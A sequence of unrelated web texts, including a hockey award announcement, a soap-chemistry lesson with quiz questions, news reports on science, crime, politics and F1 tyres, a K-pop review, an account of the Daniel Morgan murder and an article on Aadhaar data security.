284 shots. McIntyre allowed two goals or fewer in eight of his nine starts last month, despite facing at least 30 shots seven times. After returning to Providence on Dec. 1 from an extended stay in Boston, McIntyre opened the month with a 31-save performance in a 6-2 win vs. Binghamton on Dec. 2, and he matched a career high with 38 saves in a 2-1 overtime victory over Springfield on Dec. 4. McIntyre stopped 31 of 32 shots and all three shootout attempts to earn a 2-1 victory over Hartford on Dec. 11, and he made 35 saves as Providence defeated Utica, 3-1, on Dec. 21. McIntyre closed out the month with 29 saves as the Bruins went to Wilkes-Barre/Scranton and beat the league-leading Penguins, 5-2, on Dec. 30. A 24-year-old native of Thief River Falls, Minn., McIntyre is 10-0-0 in 12 appearances for Providence this season and leads the AHL with a 1.41 goals-against average and a .951 save percentage. McIntyre, a sixth-round pick by Boston in the 2010 NHL Entry Draft, also made his NHL debut earlier this season and appeared in three games with the parent Bruins. The University of North Dakota product has played 43 AHL games over his first two pro seasons, going 24-8-7 with a 2.32 GAA and a .914 save percentage. Also selected as AHL award winners for December are Chicago Wolves forward Kenny Agostino as the CCM/AHL Player of the Month and Wilkes-Barre/Scranton Penguins forward Jake Guentzel as the CCM/AHL Rookie of the Month. Each monthly award winner will be presented with an etched crystal award prior to an upcoming home game in recognition of his achievement. -EXPLAIN IT WITH MOLECULES-- SOAP MOLECULE What is Soap? Soaps are mixtures of sodium or potassium salts of fatty acids which can be derived from oils or fats by reacting them with an alkali (such as sodium or potassium hydroxide) at 80°–100 °C in a process known as saponification. fat + NaOH ---> glycerol + sodium salt of fatty acid CH 2 -OOC-R - CH-OOC-R - CH 2 -OOC-R (fat) + 3 NaOH ( or KOH) both heated ---> CH 2 -OH -CH-OH - CH 2 -OH (glycerol) + 3 R-CO 2 -Na (soap) R=(CH 2 ) 14 CH 3 Note about 3D molecules -- Our files on this page now use Jsmol instead of Jmol . These files make use of Javascript which permits viewing of molecules on tablets, phones and easier use on Macs. - Jsmol is best viewed with the Chrome browser. Try this!! Click the right mouse button with the cursor over the image--> Labels --> Element Symbols Click on the left mouse button and rotate the soap structure. Notice that one end of the molecules is made up of a hydrocarbon chain -- the other end is a very polar structure containing oxygen and sodium. Soap molecules have both properties of non-polar and polar at opposite ends of the molecule. How does Soap Work? Nearly all compounds fall into one of two categories: hydrophilic ('water-loving') and hydrophobic ('water-hating'). Water and anything that will mix with water are hydrophilic. Oil and anything that will mix with oil are hydrophobic. When water and oil are mixed they separate. Hydrophilic and hydrophobic compounds just don't mix. The cleansing action of soap is determined by its polar and non-polar structures in conjunction with an application of solubility principles. The long hydrocarbon chain is non-polar and hydrophobic (repelled by water). The "salt" end of the soap molecule is ionic and hydrophilic (water soluble). When grease or oil (non-polar hydrocarbons) are mixed with a soap- water solution, the soap molecules work as a bridge between polar water molecules and non-polar oil molecules. Since soap molecules have both properties of non-polar and polar molecules the soap can act as an emulsifier. An emulsifier is capable of dispersing one liquid into another immiscible liquid. This means that while oil (which attracts dirt) doesn't naturally mix with water, soap can suspend oil/dirt in such a way that it can be removed. The soap will form micelles (see below) and trap the fats within the micelle. Since the micelle is soluble in water, it can easily be washed away. [Micelle shown using the Jsmol Molecular dynamics simulations of dodecylphosphocholine D. P. Tieleman, D. van der Spoel, H.J.C. Berendsen] --File shown without water molecules When you mix soap into the water the soap molecules arrange themselves into tiny clusters (called 'micelles'). The water-loving (hydrophilic) part of the soap molecules points outwards, forming the outer surface of the micelle. The oil-loving (hydrophobic) parts group together on the inside, where they don't come into contact with the water at all. Micelles can trap fats in the center. Try this ---> click right mouse button over image --> spin --> on Micelle (above) shown with water molecules. Multiple Choice Questions 1. Water is considered a polar molecule because a) the molecule has a net positive charge b) the molecule has a net negative charge c) the molecule has a net zero charge d) the ends of the molecule have partial negative and positive charges 2. Soap is formed from: a) two hydrophobic compounds b) a physical change when fats are heated c) two hydrophilic compounds d) oils or fats by reacting them with an alkali 3. Which statement is correct about hydrophobic and hydrophilic compounds a) hydrophilic are water-hating and hydrophobic water-loving b) hydrophilic are water-loving and hydrophobic water-hating c) both hydrophobic and hydrophilic compounds are polar molecules d) both hydrophobic and hydrophilic compounds are non-polar molecules 4. Soap acts by a) digesting the fat molecules b) forming micelles and trapping the fat within the micelles c) releasing sodium and potassium into water d) a chemical change 5. Which of the following statements is not correct a) the soap molecules work as a bridge between polar water molecules and non-polar oil molecules b) soap forms micelles c) soap is an emulsifier d) soap is made of just carbon and hydrogen atoms -When asked if a conflict similar to the events inciting World War I could happen today, Indy Neidell responded, “There are an awful lot of similarities in the world today with the world of 1914.” “Of course that kind of question is really impossible to answer,” he acknowledges, “but I wouldn’t at all rule it out.” In an AMA (Ask Me Anything) discussion on Reddit, the historian host of The Great War YouTube series invited users to challenge his knowledge of the first World War, inquire about what he hasn’t covered in the show’s first 234 videos, and get his historical perspective on the United States’ current political climate. While Neidell began his YouTube series in July 2014 on topics you’d expect to find in a standard WWI curriculum—the assassination of Franz Ferdinand, early trench warfare, propaganda, the Red Baron—the show has since branched out to give a much more comprehensive look at the “Great War,” detailing everything from soldiers’ diets and salaries to what’s wrong with EA’s Battlefield 1 trailer: As the series nears its $10,000 Patreon goal to enable its crew to “start planing trips to the European theatres of World War 1 and tell their stories in a completely new way,” Neidell teased what history buffs can expect to see in upcoming episodes. And for fans unable to help the crowdfunding effort, Neidell’s social media manager Flo joined him in his AMA to share this open invitation: “You can always help with research if you want.” Lesser-Known WWI History Teaching WWI Historical Twist on a Classic Question If He Could Watch Any Moment… What’s Next? To read all of Neidell’s answers to redditors questions, check out the original AMA discussion. And to catch up on your “Great War” history in time just in time for Trivia Night, head over to The Great War YouTube channel. -Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings. Aug. 22, 2016, 8:10 PM GMT / Updated Aug. 22, 2016, 8:10 PM GMT By Maggie Fox Researchers have developed a way to make a mouse transparent — by removing the liquids and fats from its tissue. They hope their method can be used to make a complete, unsliced model of a human brain, with all the delicate nerve connections untouched. And they say their see-through mouse might reduce the need for lab scientists around the world to kill living mice just to study their organs. Researchers in Germany have made mice see-through with a special method of dissolving skin that makes "see through" mice for lab research. Ali Ert?rk Ludwig / Maximilians University of Munich “Now, for the first time, we have a powerful tool that can make the human brain transparent and reduce it size to fit an imaging microscope for mapping,” Ali Ertürk, a brain researcher at Ludwig Maximilians University of Munich in Germany, said in written comments. "I believe that now, using uDISCO, scientists can start to build whole body atlases for various biological systems such nerves, vasculature and immune cells." The method, described in the journal Nature Methods, is called ultimate DISCO (short for 3-D imaging of solvent-cleared organs). It not only makes it possible to see entire structures in place, but shrinks the body so that it fits under a microscope. “We expect that this method is easily applicable to small monkeys, even to a whole human brain in the near future,” Erturk wrote. “We all know the big fuss (rightfully) around mapping the human brain. But so far there is not any approach that even comes close to mapping any part of human brain at individual neuron level.” A mouse with its skin removed during various stages of examination, taken with a bright field camera. Cell, Yang et al / AP The technique might also save the lives of at least some lab animals, Erturk said. “In research, we usually sacrifice the animals to collect a small piece of their tissue,” he wrote. “The rest of the animal actually is wasted. I believe that now, using uDISCO, scientists can start to build whole body atlases for various biological systems such nerves, vasculature and immune cells innervating whole body. This will at least provide the basic knowledge about how a healthy organ is organized in terms of these mapped systems (nerves, vessels etc.). This information will be available to everyone.” The team first anesthetized living mice, and used various agents to make it possible to image the desired systems using fluorescent light or other processes — akin to getting, for instance, an infusion of a contrast agent before getting an MRI or heart catheter scan. Once the contrast dye or agent was pumped though the tissue, the mice were killed and their tissues cleared of water and fat. Water and lipids scatter light, making tissue opaque. Scientists have come up with good images of organs and event whole bodies by slicing tissue very thinly, imaging it, and then recreating a 3-D version using a computer. But even the thinnest slices can disrupt delicate neurons and their connections, Erturk noted. “That means, while their cell body resides in one side of the brain, it can make connections to the other side of the brain (several centimeters away) or even to the spinal cord, which might be more than a meter long," he wrote. "Therefore, when we want to study brain diseases such as Alzheimers’s disease or schizophrenia, making thin sections of biological specimen would degrade important information on neuronal connectivity." -TREASURE ISLAND — A Florida man was charged with aggravated battery after whacking a visiting tourist with a shovel in a dispute over digging at the beach. WTSP-TV reported Sunday that 53-year-old Christopher Carosella from Tampa argued with 18-year old Christian Geis over a large hole he had dug. Carosella on Friday evening allegedly got upset when the Lexington, Ky., teenager refused to comply with his order to stop digging. Drew Geis, Christian's father, told the station that 45 minutes later, Carosella took the shovel his son had left on the beach and then attacked him when he was walking back to his hotel room. The station reported the Treasure Island Police Department said Carosella struck Christian Geis twice, causing bruising and abrasions. The station said that Carosella was later released from the Pinellas County Jail on a $2,500 bond. Court records do not list an attorney. -1 people found this review helpful Customer Review Rated Bad 8 - 8 out of 10 For a well-worn song title ‘Paparazzi’ is certainly a perfect vehicle for the Gee Gee girls; flashing cameras, intrusive attentions and story spins are inevitable when world domination is at stake, and a locale’s paparazzi must be spazzing out to high heaven when the GG girls are in town. Anyway, this new Japanese single for SNSD is an okay dance song, and the video stage setting is elaborately befitting (with some ‘Singing in the Rain’ on the MV version). But this ‘Paparazzi’ (Mi Youn Kan and Lady Gaga did one, too) is really only a moderate dance song with more of that allurement factor going on. Wink wink. The same repetitive 'seduction' merry go round, getting ‘bad publicity’, staging the double dark dance of camera and ‘star’ into a swirl of premeditated social and pop culture media. Yes, the paparazzi are in town, and it’s all vexingly watching the famous girls ‘luring’ the boys into their ‘come up and see me sometime’ world again (via TV camera) for the paparazzi to ‘scandalize’. Why are the girls so bad, the boys so bad? Its only theatre, smoke and mirrors, right? The Modern Tribal Cynical Sophistication Disco Dance, giving the masses their social tonic. Okay, okay, this is the theatre I’m on about, not exactly SNSD themselves, more their personas and what’s in the lyrics. But ‘Paparazzi’ is another similar slant in modern pop perspectives to take sides on. The ‘bad’ paparazzi who scandal (run devil run? It’s a job isn’t it?), the good girls who might see their mirror image tarnished. But it could be the other way around, the ‘bad girl’ alluring the camera boy or the dance club DJ? That sort of thing; seducing and dividing. Template soft anger pop. But instead of the Jets and the Sharks that are verses, it’s the press and the famous, the VIP and the excluded, good/bad (or whatever). The concept’s okay, what the heck, it’s supposed to be fun. But a new song meaning to the words Girls’ Generation would be welcoming. For SNSD I really would love them to do…something spiritually unifying. “The Boys” album has strong songs and it’s a nice album, but SNSD should do something really different in their pop music now. This limited edition is a landscape packaging with CD/DVD but there’s no inner booklet with mucho photo here. I preferred this cover version, too, to the main edition; the girls look all pensive and moody, a bit 'edgy' maybe, and its alright. I like SNSD I really do, as I like Kara, T-ara and many others. No divisions. -Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World. A Palestinian gunman shot dead two Israeli parents in a shooting attack on their vehicle in Samaria, between Elon Moreh and Itamar on Thursday night; Four of their young children survived the attack without injury and were rescued by emergency responders from the bullet-ridden vehicle. Magen David Adom paramedics and IDF units pulled the children out of the car near the Palestinian village of Beit Furik, and paramedics declared the parents dead on the scene after failing to detect vital signs. A 4-month-old baby, a 4-year-old boy, a seven-year-old boy and a nine-year old boy survived the attack without physical injury, after witnessing their parents being shot dead before their eyes.Boaz Malka, a MADA paramedic who arrive on the scene, said, "It was a very difficult scene. We saw a car in the middle of the road, and next to it, a man in his 30s lay on the ground with upper body gunshot wounds. Inside the car a woman sat, with severe upper body wounds. They had no vital signs and to our sorrow we had to declare them dead on the scene."The IDF was sweeping the area for suspects.Reacting to the shooting, Defense Minister Moshe Ya'alon said "this murderous terror attack this evening is a clear continuation of the incitement against the State of Israel and its civilians, and repeated attempts to carry out terror attacks.""The war against terrorism requires determination from us, a steel hand, and patience. We are fighting against a blood-thirsty relentless enemy, and with great sorrow we sometimes absorb losses on the way. At this time, the IDF and the Shin Bet (Israel Security Agency) are pursuing the murderers. We will pursue them and we will not be silent until we place our hands on the murderers, and those who sent them."In light of the shooting, right-wing politicians accused Palestinian Authority President Mahmoud Abbas 's incitement for the attack, which came a day after he threatened to stop abiding by all agreements with Israel in a fiery speech to the United Nations General Assembly.Likud Minister Miri Regev said, "24 hours after the violent speech of the arch-murderer Abu Mazen [Abbas], a husband and wife were killed in Israel."She called on Israel to take harsher steps against Palestinian terror.Education Minister Naftali Bennett (Bayit Yehudi) said that Abbas's "call to arms was taken up tonight in Israel, and it is red with blood."Bennett added that "A people whose leaders encourage murder will never have a state, and this must be made clear. Now the time of talking is done and the time for action has come."Meanwhile, Hamas praised the "heroic terror attack" and called for more "quality attacks."The group said that "Zionists will pay the price for [Prime Minister Benjamin] Netanyahu's criminal policies everywhere." Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>> -Description TILLER Trap Soul – Midi & Loop Pack ‘TILLER TrapSoul Midi & Loop Pack” is influenced by Bryson Tiller, the hometown hero & RnB singer that has turned Trapsoul into a genre. This midi pack includes 150 Midi & 20 Premium wav loops that will blow you away if you love Trapsoul. With this new product series, ‘TILLER TrapSoul’ brings life to the R&B genre again. With smooth leads, jaw dropping 808s, captivating melodies, lush pads, and stunning percussion, ‘TILLER TrapSoul’ is the new school product to begin 2017 for Diamond Loopz. All of these original high-quality sounds are Royalty-Free, simply meaning that you can use them in personal or commercial compositions at no extra cost.Protect your beats with the FREE “Beat Tag” included. Trapsoul is RnB & Hip Hop Music on steriods with a little Trap and Soul mixed together. This is a new sound and a new trend that has emerged and started to be recognized by people who love RnB. Product Includes: 120 MB of Content • 150 Midi Loops • 20 Premium Wav Loops • Beat Tag Included • (Bonus) TrapSoul Drum Kit • 100% Royalty-Free • 24-Bit Quality Save Save Save Save -Rep. Nancy Pelosi was emphatic. Mitt Romney’s refusal to release more than two years of his personal tax returns, she said, makes him unfit to win confirmation as a member of the president’s Cabinet, let alone to hold the high office himself. Sen. Harry Reid went farther: Romney’s refusal to make public more of his tax records makes him unfit to be a dogcatcher. They do not, however, think that standard of transparency should apply to them. The two Democratic leaders of the Senate and the House of Representatives are among hundreds of senators and representatives from both parties who refused to release their tax records. Just 17 out of the 535 members of Congress released their most recent tax forms or provided some similar documentation of their tax liabilities in response to requests from McClatchy over the last three months. Another 19 replied that they wouldn’t release the information, and the remainder never responded to the query. The widespread secrecy in one branch of the government suggests a self-imposed double standard. Yet while American politics has come to expect candidates for the presidency to release their tax returns, the president isn’t alone in having a say over the nation’s tax laws. Congress also stands to gain or lose by the very tax policies it enacts, and tax records – more than any broad financial disclosure rules now in place – offer the chance to see whether the leaders of the government stand to benefit from their own actions. “Senior public officials, especially members of Congress and presidential candidates, should be required to disclose their tax returns so that the public can monitor potential conflicts of interest,” said Craig Holman, government affairs lobbyist for Public Citizen, a nonpartisan watchdog group. The question of taxes is particularly pressing this year, as Congress debates whether to extend all or some of the Bush-era tax cuts that are set to expire Dec. 31. At the same time, tax returns reveal assets and investments. Absent tax information, members of Congress aren’t fully transparent, said Daniel Auble, who heads the personal finance project for the Center for Responsive Politics, which tracks financial disclosures by members of Congress and appointees confirmed by Congress. “Having a clearer picture of lawmakers’ interests . . . is definitely important in making available to the public what possible influence there could be,” he said. “In terms of transparency, it would be helpful to have more information.” Among those who did disclose their tax returns: Sen. Claire McCaskill, D-Mo., and Rep. Barney Frank of Massachusetts, the senior Democrat on the House Financial Services Committee and a co-author of the Dodd-Frank law tightening regulations on Wall Street. To Pelosi and some other top Democrats, the focus is on Romney, the Republican presidential candidate, who’s released his 2010 return and 2011 estimates and plans to release his 2011 return when it’s completed, but refuses to release any more. They say the very refusal to release more suggests that he’s hiding something. "He could not even become a Cabinet member for that lack of disclosure, and now with that lack of disclosure he wants to be president of the United States,” said Pelosi, the House minority leader, who’s from California. “We’d like to know what’s in those tax returns that he refuses to show to the American public. Did he pay any taxes?” Reid asked in an impassioned speech to the Senate on July 11. Days later, Reid, who’s from Nevada, suggested that Romney’s refusal to release more than two years of tax returns would make him ineligible to serve even as dogcatcher. Rep. Debbie Wasserman Schultz of Florida, the chairwoman of the Democratic National Committee, also has harangued Romney for refusing to release more tax returns, calling it a “penchant for secrecy.” All three refused repeated requests from McClatchy to release their own returns, requests that started before the flap over Romney’s records. Pelosi aides refused, saying she’s disclosed all that Congress requires. “The leader has filed a complete financial disclosure report as required by law that includes financial holdings, transactions and other personal information,” Pelosi spokesman Nadeam Elshami said. “There has been no question about where Leader Pelosi and Democrats stand on tax policy: We must extend the middle-class tax cuts and end tax breaks for millionaires and use the revenues to pay down the deficit.” Challenged at a recent news conference to release hers, Wasserman Schultz said she wouldn’t because she wasn’t running for president. “I file full financial disclosure required under the law,” she said. What’s required by law is written by Congress itself, a broad financial-disclosure statement that offers no direct information on tax liabilities and no requirement for reporting spousal income other than the source – but not the amount – of any income above $1,000. There’s little way of knowing whether that spousal income is $1,001 or $1 million. Several members of Congress married into money or have wealthy spouses. Topping that list are Rep. Michael McCaul, R-Texas, whose wife, Linda, is an heiress to the Clear Channel Communications fortune, and Sen. John Kerry, D-Mass., whose wife, Teresa, is the heiress to the Heinz ketchup fortune. Pelosi’s husband, Paul, heads Financial Leasing Services Inc., a San Francisco-based venture capital and real estate firm. When it comes to the valuation of investments or reporting of income on the annual disclosure forms, what’s required are broad numbers such as between $250,000 and $500,000 or $1 million and $5 million. That makes it hard to determine how much benefit a lawmaker might get from competing tax plans. “They just don’t provide the same level of detail as a tax return,” said Darrell West, a specialist on governing and a vice president of the Brookings Institution, a center-left research center in Washington. Most members won’t release that kind of detail. Only 17 members shared their detailed tax information with McClatchy. Another 19 refused, but the majority of them stressed that they comply with congressional disclosure requirements. Of the lawmakers who shared their tax returns, most got large deductions for interest on personal and investment real estate. That’s useful information for taxpayers, since a revamp of the tax code is expected in the next few years. McClatchy isn’t releasing the tax returns under the terms of the agreement with the lawmakers. Reporters requested the returns to examine in detail how members would be personally affected by changes in tax laws being debated in Congress including income tax rates, as well as taxes on capital gains and dividends and deductions for such expenses as home mortgage interest. In exchange for sharing their returns, members were told their actual returns would not be made public. Most lawmakers, however, chose to keep their tax liabilities a secret. “First your publishers and editors and execs should publish their tax returns. They have great influence over public policy,” Rep. Gary Ackerman, D-N.Y., said in an emailed response. Ackerman, who was dogged in 2010 by allegations of a sweetheart stock purchase, isn’t seeking re-election, so his term ends in January. “Are you guys asking the president to turn over his college records? Or asking him to turn anything over of any kind?” responded Allen Klump, the communications director for Rep. Jeff Duncan, R-S.C. “Thanks, but we will not give you Sen. Rockefeller’s tax return. Good luck on the project,” said Vincent Morris, a spokesman for Sen. Jay Rockefeller, D-W.Va., whose family surname is synonymous with wealth. Several lawmakers said they’d disclose what’s required and no more. Rep. Renee Ellmers “files a financial disclosure form each year in accordance with House ethics rules and this is publicly available,” said Tom Doheny, a spokesman for the North Carolina Republican. Rep. Joe Wilson “has submitted a financial disclosure form, which is required by law and available to constituents as a matter of public record,” said Caroline Delleney, a spokeswoman for the South Carolina Republican. Constituents generally know where their particular lawmakers stand on the issue of the expiring tax cuts because the two major political parties have well-defined views. But there’s more at stake than just tax brackets, and voters often have little feel for whether their members of Congress would benefit or be harmed by changes that are under consideration. From the financial disclosure forms, constituents can, with some work, surmise how lawmakers’ investment income might be taxed under competing plans. Given their salaries, lawmakers would fall into the higher tax bracket for dividends, but it’s unclear where they’d fall individually on the income scale. “There are clearly some people above (the $250,000 threshold). There’s a bunch of people who might or might not be affected, and you can’t tell,” said Roberton Williams, a senior fellow at the Tax Policy Center, which is run by the Brookings Institution and the centrist Urban Institute. Tax data isn’t always a panacea, however. Missouri Democrat McCaskill was one of the few senators who provided McClatchy with a tax return. Her 1040 form lists her as married filing separately, showing an adjusted gross income of $193,384. But her husband, Joe Shepard, is a wealthy businessman whose investments sometimes have put her in an unpleasant spotlight. His investment in a reinsurance company in Bermuda – the same country in which a Romney investment has been criticized by Democrats – brought allegations from Republicans in 2009 of tax dodging. Shepard no longer hold the investment. McCaskill does report dozens of her husband's investments in her annual financial disclosure statement, with more detail than required. But each still is listed only under ranges of values, not precise amounts. That’s another reason advocacy groups think that financial-disclosure reporting should be expanded to capture spousal income more fully, and argue that tax data would be a useful, albeit imperfect, tool. “As public officials, potential conflicts of interest caused by their wealth and assets are a public concern,” said Holman, the Public Citizen lobbyist. Kaz Komolafe and Farah Mohamed contributed to this article. -Pirelli has overhauled its tyre concept to reduce degradation for 2017, as requested by the new rules, allowing drivers to push harder in a philosophy that is a departure from the policy it has followed since it became F1's tyre supplier in 2011. Pirelli motorsport chief Hembery has previously said F1 could end up with processional racing this year because the rules shake-up, which includes significant tweaks to aerodynamics, will spread the field out. Speaking at an event in Turin to mark Pirelli's 110th motorsport anniversary, Hembery told Motorsport.com that if the new tyre concept does not deliver a good show, the blame should not lie with the Italian company. "You can't please everyone and you can only go in one of two directions," Hembery said. "We did something from the outset which was desired, then there was a decision to go in another direction. "We're just following what the sport asks us. All we ask is that they tell us what they want. There's no point in complaining that we deliver what we have been asked to deliver. "As a sport we're moving in a different direction, and if it works as people say then we should get good racing." While the modified 2015 mule cars Pirelli used for testing failed to deliver the required amount of downforce expected in 2017, the tyre supplier was able to fall back on simulation data. "The biggest challenge is if you don't have downforce, you might not be able to get the tyres working as intended, because we worked to a level of downforce given by the simulation," he said. "It's true the mule cars were some way off in terms of performance levels, but we do have the simulation data. "That's the question, how close will the cars be to that data – maybe they will have more and go much quicker." Hembery feels while there may be fewer pitstops, the change in the rules should create a situation where overtaking possibilities are increased. "We'll see fewer stops," he said. "That comes with less degradation. You come into the pits either because of performance loss [due to degradation] or wear, and in this case we are reducing both. "We'll see a lot more one-stop races but if we deliver with the aerodynamic package cars that are closer together, and the tyre's not overheating on the surface, drivers will be able to push and lead to a scenario where overtaking is improved." -In March 1987 Daniel Morgan, a private detective, was murdered in Sydenham in south east London, just as he was reportedly close to revealing police corruption with links to the News of the World. You might ask why we would want to look at a murder that took place 25 years ago, but it’s important to understand that the collusion between the police and press that’s being uncovered now isn’t just about events that took place in the past few years, but a pattern of corruption that goes back many decades, and that many of the people involved with past corruption are still involved with the Hackgate scandal even now. After repeated failed police inquiries into the murder which themselves have been mired in corruption the family of Daniel Morgan are still seeking justice, and have spent the past two decades running the Justice 4 Daniel campaign. Southern Investigations In 1984 Daniel Morgan and Jonathan Rees Jonathan Rees set up the detective agency Southern Investigations Jonathan Rees is alleged to have had a “network of corrupt police who were involved in widespread criminality and used Southern Investigations as a conduit for drugs and money”, and that Rees “counted many officers as friends. One of his specialities was to use his "friends" in the force to provide information which he sold to tabloid newspapers.” On the other hand Daniel Morgan’s role “involved him acting as a bailiff or utilising his particular talent for remembering car registration plates and telephone numbers”. It is believed that at the time of his murder Daniel Morgan was planning to expose police corruption, described by his brother as “police involvement with criminals, involvement with drugs and weapons importation." More recently, Tom Watson MP alleged in a Commons adjournment debate that Daniel Morgan has approached Alex Muranchak of the News of the World with a story making allegations about police corruption a week before he died, and was offered £40,000 for the story. He described the relationship between Jonathan Rees and Alex Marunchak as "a close association between Rees and Marunchak ... a relationship that was so close they both had companies registered at the same address". Watson also stated that "thanks to a Guardian investigation we also know that Southern Investigations paid the debts of Marunchak ". Alex Marunchak would go on to deny those allegations , as well as other allegations made by Tom Watson. The death of Daniel Morgan At 9.30pm on Tuesday March 10th 1987 Daniel Morgan’s body was discovered next to his BMW in the parking lot of the Golden Lion pub. An axe, wrapped in Elastoplasts to obscure fingerprints, was protruding at a right angle from his face, his pockets torn open, with notes he had been seen writing missing, but with his wallet and watch still on his body, and he was still holding the two packets of crisps purchased inside the pub. He had let the Golden Lion pub at 8:55pm after meeting with Jonathan Rees to discuss an issue that was putting pressure on their already fraught relationship. Rees had claimed he had been robbed while transporting £18,000 for a client of Southern Investigations, Belmont Car Auctions, with at least one moonlighting police officer. Both Morgan and Belmont Car Auctions believed this was a lie, and Rees and his associates had taken the money for themselves. At the 1988 inquest into the murder the Southern Investigations accountant Kevin Lennon said that Jonathan Rees had told him “I've got the perfect solution for Daniel's murder. My mates at Catford nick are going to arrange it” and went on to say "He went on to explain to me that if they didn't do it themselves the police would arrange for some person over whom they had some criminal charge pending to carry out Daniel's murder." The initial police investigation into the murder Detective Sergeant Sid Fillery at Catford police station was assigned to the case, failing to reveal to his superiors that he had been working for Southern Investigations At the 1988 inquest Kevin Lennon said Rees wanted Morgan dead after a row: "John Rees explained that, when or after Daniel Morgan had been killed, he would be replaced by a friend of his who was a serving policeman, Detective Sergeant Sid Fillery", and eventually would end up in business with Jonathan Rees at Southern Investigations, recruiting corrupt police officers, and was later convicted for the possession of child pornography. Sid Fillery and Jonathan Rees would later be arrested in 1987 on suspicion of murder , along with the brothers Glenn and Garry Vian and two Metropolitan police officers, but eventually all of them were released without charge. Inquiries into the murder Over the next 20 years five investigations would look into the murder of Daniel Morgan . The initial investigation into the murder by the Metropolitan Police focused on Sid Fillery and Jonathan Rees, both who denied involvement in the murder. This was followed by an inquiry by Hampshire Police in 1988 focusing on Jonathan Rees and another man, but the charges were dropped because of a lack of evidence, with the Hampshire inquiry's 1989 report to the Police Complaints Authority stated that "no evidence whatsoever" had been found of police involvement in the murder. During this period Sid Fillery left the police to join Southern Investigations as Jonathan Rees’ business partner. In 1999 Operation Nigeria began to investigate Southern Investigations, with bugs being placed inside the Southern Investigations offices by the police. The operation ceased when Jonathan Rees was recorded conspiring with a corrupt police officer to plant cocaine on an innocent woman in order to discredit her during a custody battle, and in December 2000 he was jailed for seven years. In 2002-2003 a fourth inquiry began, involving the bugging of a suspect’s car and the home of Glenn Vian. The investigation obtained evidence that linked a number of individuals to the murder, but the Crown Prosecution Service decided there was insufficient evidence to proceed with a prosecution. The fifth inquiry took place in 2006, headed by Detective Superintendent David Cook was set up in secret after Metropolitan Police Commissioner Sir Ian Blair declared that the first investigation had been compromised by the involvement of Sid Fillery. Concerns over connections between Masonic Lodge members and the murder required the 36 police officers involved with the case to state they had never been Freemasons, with Cook describing the murder as being one of the worst kept secrets in south-east London, claiming “a whole cabal of people” knew the identity of at least some of those involved. He also claimed attempts had been made to smear Daniel Morgan’s character and there had been attempts to link him with Colombian drug dealers. He identified the main suspects as "white Anglo-Saxons". Yet again bugs were placed, Jonathan Rees, Sid Fillery, and Glenn and Gary Vian were arrested, along with a builder, James Cook, all on suspicion of murder, plus other related charges. This time however, the suspects made it to court. The 2011 Old Bailey trial The trial was badly handled by the prosecution , with 3 supergrass informers being dismissed as key witnesses, resulting in a stay of prosecution for Sid Fillery and James Cook being discharged. In March 2011 the Director of Public Prosecutions abandoned the case and all remaining charges were dropped. The case had yet to reach the stage where it would look at the murder as it was still dealing with preliminary issues when the prosecution collapsed. The judge noted the case’s vastness and complexity, and considered that the prosecution had been principled and right to drop the case, but the police had “ample grounds to justify the arrest and prosecution of the defendants”. A massive amount of evidence had been gathered, over 750,000 documents, with four more crates of evidence being discovered after the trial collapsed. Links to the News of the World After the trial collapsed it was revealed that Jonathan Rees had been working for the News of the World, earning £150,000 supplying illegally obtained information about figures in the public eye. After serving the prison sentence for perverting the course of justice after the Operation Nigeria inquiry Andy Coulson , then editor of the News of the World, hired Jonathan Rees, and worked regularly with the Sunday and Daily Mirror as well. Andy Coulson was later hired by David Cameron as director of communications despite warnings about Andy Coulson’s hiring of the convicted criminal Jonathan Rees. Using a network of corrupt police officers he illegally obtained information on a variety of public figures, including the Royal family, and was also alleged to have commissioned burglaries on behalf of journalists. However, despite detailed evidence the Metropolitan Police failed to pursue any action against Rees, even to the point of taking the News of the World at their word that Clive Goodman had worked alone when he was convicted for intercepting phone calls from Clarence House. [Forward to The Leveson Inquiry] [Index] -The government’s move to link one billion of these numbers to bank accounts and mobiles is fraught with security risks. Studies say that digital security must be beefed up before this happens Alarm bells have been ringing in the ministry of electronics and information technology (MeitY). This was ever since Union finance minister Arun Jaitley announced on August 28 that the linking of one billion Aadhaar IDs with bank accounts and mobiles is very much on the cards. The minister, speaking at a function to mark the completion of three years of the Pradhan Mantri Jan Dhan Yojna, said that the linkage would ensure “financial inclusion” which will be “nothing short of a social revolution”. Officials in MeitY, are a worried lot. The ministry has been entrusted with the onerous task of ensuring cyberspace security in the country and managing the Indian Computer Emergency Response Team (CERT-In) which deals with hacking and related crimes. More importantly, it is also directly responsible for the functioning of the Unique Identity Authority of India (UIDAI) which operates the Aadhaar database. It will have an important role to play once the linkage referred to by Jaitley covers all Aadhaar cards—virtually the entire adult population in the country. STOLEN DATA A MeitY official told India Legal: “The finance minister has talked about a social revolution but we will need a cyber security revolution if the grand plan has to take off without floundering and losing its way. As things stand now, there are too many holes in the security set up which are being exploited by hackers. We have to prepare ourselves for a flood of cyber-related crime once the linkage happens. To make matters worse, no one is clear about the volume of Aadhaar data that has already been stolen or accessed by the wrong people.” According to him, there are several reports with the ministry which point to the urgent need for a complete overhaul of the cyber security apparatus in the country. This will be a time-consuming process, but he feels it nevertheless needs to be done before any major three-way linkage is even attempted. “A new financial division of CERT-In has been promised. It has to be set up and tested. No system is fool-proof. The basic problem with Aadhaar is that the safety of data was not thought through when it was launched. Much of what is being done is a post facto response,” he added. MeitY sources also point out that according to official data, 164 government websites were hacked during 2015. There have also been instances where government departments have placed Aadhaar numbers in the public domain. The problem, they say, has several dimensions. And laws alone cannot deter the criminals. Prevention and detection are key aspects in any fight because the cyber-criminal floats in cyberspace and may operate from a foreign land outside India’s jurisdiction. -Some time ago, I posted the cover art for the ebook editions of The Wheel of Time series by Robert Jordan. For the sake of comparison, here is the art for the US hardback editions. All of these covers were done by Darrell K. Sweet except for the last book, A Memory of Light, which was done by Michael Whelan. Click each image to see a larger version. Prequel — New Spring cover art 1. The Eye of the World — outside cover art The Eye of the World — inside front cover art 2. The Great Hunt cover art 3. The Dragon Reborn cover art 4. The Shadow Rising cover art 5. The Fires of Heaven cover art 6. Lord of Chaos cover art 7. A Crown of Swords cover art 8. Path of Daggers cover art 9. 